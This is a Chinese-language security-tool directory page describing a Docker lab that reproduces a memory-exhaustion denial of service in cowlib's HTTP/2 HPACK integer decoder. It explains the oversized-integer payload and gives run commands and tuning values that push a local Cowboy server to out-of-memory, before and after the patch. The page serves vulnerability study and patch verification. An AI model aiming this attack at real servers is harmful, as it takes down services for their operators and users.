Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/darynongera/bug-free-broccoli
容器安全漏洞分析漏洞利用Web安全网络安全学习与教育实验室与实践
GitHubdarynongera/bug-free-broccoli

bug-free-broccoli

面向 CVE-2026-59248 的可复现 Docker 实验环境:cowlib 中 HPACK/QPACK 整数解码器内存耗尽 DoS,包含漏洞利用客户端、Cowboy 服务器和 Grafana 指标。

查看仓库
124天前尚未审核
分享

cowlib HPACK/QPACK 整数解码器 DoS — 带可观测性的可复现实验环境

CVE

ninenines cowlib(≥ 2.0.0,< 2.19.0)中存在一个资源限制漏洞,允许未经身份验证的远程 HTTP/2 或 HTTP/3 对端耗尽易受攻击服务器(或客户端)的内存,并导致拒绝服务。

HPACK 和 QPACK 前缀整数解码器 cow_hpack_common:dec_big_int/3(位于 src/cow_hpack_common.hrl,由 cow_hpack:decode/2 和 cow_qpack:decode_field_section/3 调用)会读取后续八位组,直到找到一个高位为 0 的八位组,并在每一步计算 Int + (Value bsl M),其中移位量 M 每处理一个八位组就增加 7。对后续八位组的数量、结果位宽或数值没有任何限制——解码器会消耗对端提供的任意编码长度。由于 Erlang 整数是不可变的,每个中间值 Value bsl M 和每次累加器更新都会分配一个新的 bignum,其位数宽度随已处理的八位组数量线性增长;在整个解码过程中累加,瞬时分配量为编码长度的 O(n²)。

单个最大化的 HPACK 索引表示,承载于一对 HTTP/2 HEADERS + CONTINUATION 帧中——在 Cowboy 默认的 max_frame_size_received 范围内——就能在结果头表索引被判定为无效而拒绝之前,强制产生数百兆字节的瞬时分配和垃圾回收抖动。重复或并发的连接会成倍放大压力,并可能将 Erlang VM 推向内存耗尽。

Cowlib 是 Cowboy、RabbitMQ 管理插件以及其他 Erlang/Elixir HTTP/2 和 HTTP/3 服务器和客户端所使用的 HTTP 解析器,因此任何接受来自不受信任对端的 HPACK 或 QPACK 的暴露端点都可被触及。

修复: cowlib 2.19.0 为 dec_big_int/3 添加了 when M < 32 守卫,在少量八位组之后即拒绝超大整数。

本实验针对真实的 Cowboy 服务器重放该攻击(preface → SETTINGS → HEADERS → CONTINUATION,携带超大的 0xFF… HPACK 整数),并在 Prometheus/Grafana 中捕获 BEAM 内存峰值——分别在应用补丁之前和之后。

架构

 exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
                                    │  /metrics  (same listener)
                                    ▼
                                prometheus (:9090) ──scrape 2s──▶ grafana (:3000)

Cowboy 固定了一个确切的 cowlib 版本:cowboy 2.17.0 附带存在漏洞的 cowlib 2.18.0(cowboy 2.18.0 捆绑了已修复的 cowlib 2.19.0)。本实验通过 override: true 强制指定 cowlib,因此漏洞→修复的演示只需在 server/mix.exs 中改动一行。

服务URL
Cowboy 服务器http://localhost:8080/(HTTP/1.1 + HTTP/2 h2c)
服务器 /metricshttp://localhost:8080/metrics
Prometheushttp://localhost:9090/targets
Grafanahttp://localhost:3000(admin / admin)

Grafana 仪表盘 "cowlib 2.18.0 HPACK memory DoS" 已自动配置(无需手动设置数据源或面板)。

用法

# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana

# 2. Sanity checks
curl http://localhost:8080/               # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total

# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
#    (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client

# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server                # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
#   Panel 1 "ERLANG VM: Process memory"  = BEAM process heaps only (the decoder)
#   Panel 2 "ERLANG VM: Total memory"    = system + processes allocator memory
#   Panel 3 "CONTAINER: cgroup memory"   = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.

# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server

# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.

# 5. Verify the fix: in server/mix.exs change
#        {:cowlib, "2.18.0", override: true}
#    to
#        {:cowlib, "2.19.0", override: true}
#    then rebuild and restart just the server (the memory line stays flat):
#    docker compose build cowboy-server && docker compose up -d cowboy-server
#    docker compose run --rm exploit-client

# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v

端口: 该栈会发布宿主机端口 8080(Cowboy)、9090(Prometheus)、3000(Grafana)。启动前请确保这些端口空闲,并且每次都要用 docker compose run --rm 重新运行漏洞利用客户端——该 Compose 服务运行一次后即退出。

攻击调优(客户端上的环境变量)

变量默认值作用
PAYLOAD_CONTINUATIONS524288HPACK 整数中 0xFF 八位组的数量(512 KB 炸弹;服务器的 max_fragmented_header_block_size 允许最高 1 MB)。
NUM_CONCURRENT100并发异步连接数——每个连接都会在 ATTACK_KEEPALIVE_SECS 期间保持存活并持续解码。增加到 200+ 可稳定使服务器容器 OOM(超过 1g)。
SOCKET_TIMEOUT15每个连接握手的秒数
ATTACK_KEEPALIVE_SECS60每个连接在发送后保持存活的时长
SERVER_HOST / SERVER_PORTcowboy-server / 8080目标
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py

大于服务器 max_fragmented_header_block_size(1 MiB)的载荷会在到达解码器之前被拒绝,随后客户端会在已关闭的连接上看到 socket.send() raised exception。请保持 PAYLOAD_CONTINUATIONS ≤ ~1,000,000,或提高 server/poc_server.exs 中的上限(并重新构建)以匹配。

库级 PoC(server/poc.exs)

poc.exs 直接调用 :cow_hpack.decode/2 —— 不涉及 TCP,也不绑定端口 —— 因此它可以在运行中的服务器旁边运行,也可以单独运行。它向一个带有 max_heap_size 上限的解码器进程送入 0xFF + 0xFF×N + 0x00,并在整数移位过程中记录进度。

# rebuild once so the file is baked into the image
docker compose build cowboy-server

# run it (safe while cowboy-server is up — it binds nothing)
docker compose run --rm cowboy-server mix run poc.exs
# or inside the running container:
docker compose exec cowboy-server mix run poc.exs
变量默认值作用
PAYLOAD_CONTINUATIONS1000000xFF 八位字节的数量
HEAP_WORDS1000000子进程堆上限,以字为单位(每字 8 字节)
SAMPLE_MS50堆/内存采样间隔
LOG_EVERY5每第 N 次采样记录一次日志(1 = 全部)
TIMEOUT_MS30000解码的硬性上限
VERBOSE10 摘要,1 采样,2 每次采样

精简输出(cowlib 2.18.0):

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    441
  • 4

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    264

探索所有工具

浏览我们的工具集合

查看所有工具 →